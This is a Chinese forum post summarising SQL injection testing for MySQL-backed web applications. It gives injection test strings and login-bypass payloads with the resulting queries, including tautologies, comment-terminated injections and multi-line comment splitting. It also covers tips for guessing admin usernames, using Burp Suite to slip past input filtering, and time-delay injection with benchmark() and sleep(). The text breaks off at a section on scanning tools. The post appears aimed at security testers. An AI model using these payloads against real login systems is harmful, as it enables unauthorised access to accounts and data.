雅安论坛

标题: SQL注入测试总结 [打印本页]

作者: 匿名    时间: 2021-5-7 23:50
标题: SQL注入测试总结
SQL注入测试总结
本文以MySQL数据库为例,其它数据库仅供参考。

1 黑盒测试
1.1 手工测试
Web应用的主要注入点有:

① POST请求体中的参数

② GET请求头URL中的参数

③ Cookie

1.1.1 内联注入
1、字符串内联注入

测试字符串

变种

预期结果

'

N/ A

触发数据库返回错误。

' OR '1' = '1

') OR ('1' = '1

永真,返回所有行。

value' OR '1' = '2

value') OR ('1' = '2

空,不影响返回结果。

' AND '1' = '2

') AND ('1' = '2

永假,返回空。

' OR 'ab' = 'a''b

') OR ('ab' = 'a''b

字符串连接,结果同永真。

字符串内联注入测试字符串

下面以绕过某系统登录页面为例,介绍字符串内联注入。

场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' OR 1 = 1 OR '1' = '1' AND password = ''

也可以用户名为空,在密码输入框输入' OR '1' = '1,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' AND password = '' OR '1' = '1'

场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username' AND 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = 'username' AND 1 = 1 OR '1' = '1' AND password = ''

username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。

如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用Burp Suite:
(, 下载次数: 22)

可以看到请求中某些字符是做了编码的,如果我们手工修改请求需要输入编码后的字符,常见需要编码的字符如下:

单引号(')编码为:%27

空格编码为:+

加号(+)编码为:%2B

等号(=)编码为:%3D

2、数字内联注入

数字与字符串的区别有两点:

① 数字不需要单引号(')包围。

② 数字能进行算术运算,字符串不能。
(, 下载次数: 18)


数字内联注入测试字符串

数字内联注入与字符串内联注入测试方法类似,不再单独举例。

1.1.2 终止式注入
(, 下载次数: 21)
终止式注入测试字符串

下面以绕过某系统登录页面为例,介绍终止式注入。

场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1;-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' OR 1 = 1;-- ' AND password = ''

场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username';-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = 'username';-- ' AND password = ''

也可以在用户名输入框输入' OR 1 = 1 LIMIT 1;-- ,密码为空:

SELECT * FROM usertable WHERE username = '' OR 1 = 1 LIMIT 1;-- ' AND password = ''

如果应用过滤掉了单行注释字符--,我们可以使用多行注释,即在用户名输入框输入username'/*,密码输入框输入*/':

SELECT * FROM usertable WHERE username = 'username'/*' AND password = '*/''

1.1.3 延迟注入
延迟注入属于一种特殊的终止式注入。延迟注入使用benchmark或sleep函数:

mysql> select benchmark(10000,md5('123456'));

+--------------------------------+

| benchmark(10000,md5('123456')) |

+--------------------------------+

|                              0 |

+--------------------------------+

1 row in set (0.01 sec)



mysql> select benchmark(1000000,md5('123456'));

+----------------------------------+

| benchmark(1000000,md5('123456')) |

+----------------------------------+

|                                0 |

+----------------------------------+

1 row in set (0.20 sec)



mysql> select benchmark(100000000,md5('123456'));

+------------------------------------+

| benchmark(100000000,md5('123456')) |

+------------------------------------+

|                                  0 |

+------------------------------------+

1 row in set (20.06 sec)



mysql> select sleep(10);

+-----------+

| sleep(10) |

+-----------+

|         0 |

+-----------+

1 row in set (10.13 sec)



1.2 自动化测试
SQL注入黑盒测试工具有很多,以下仅列出几种我熟悉的工具。

1.2.1 AppScan
AppScan是IBM的一款Web安全评估工具。AppScan可以对很多漏洞进行扫描,SQL注入只是其中的一种。
。。。






欢迎光临 雅安论坛 (https://www.yaanbbs.net/) Powered by Discuz! X3.4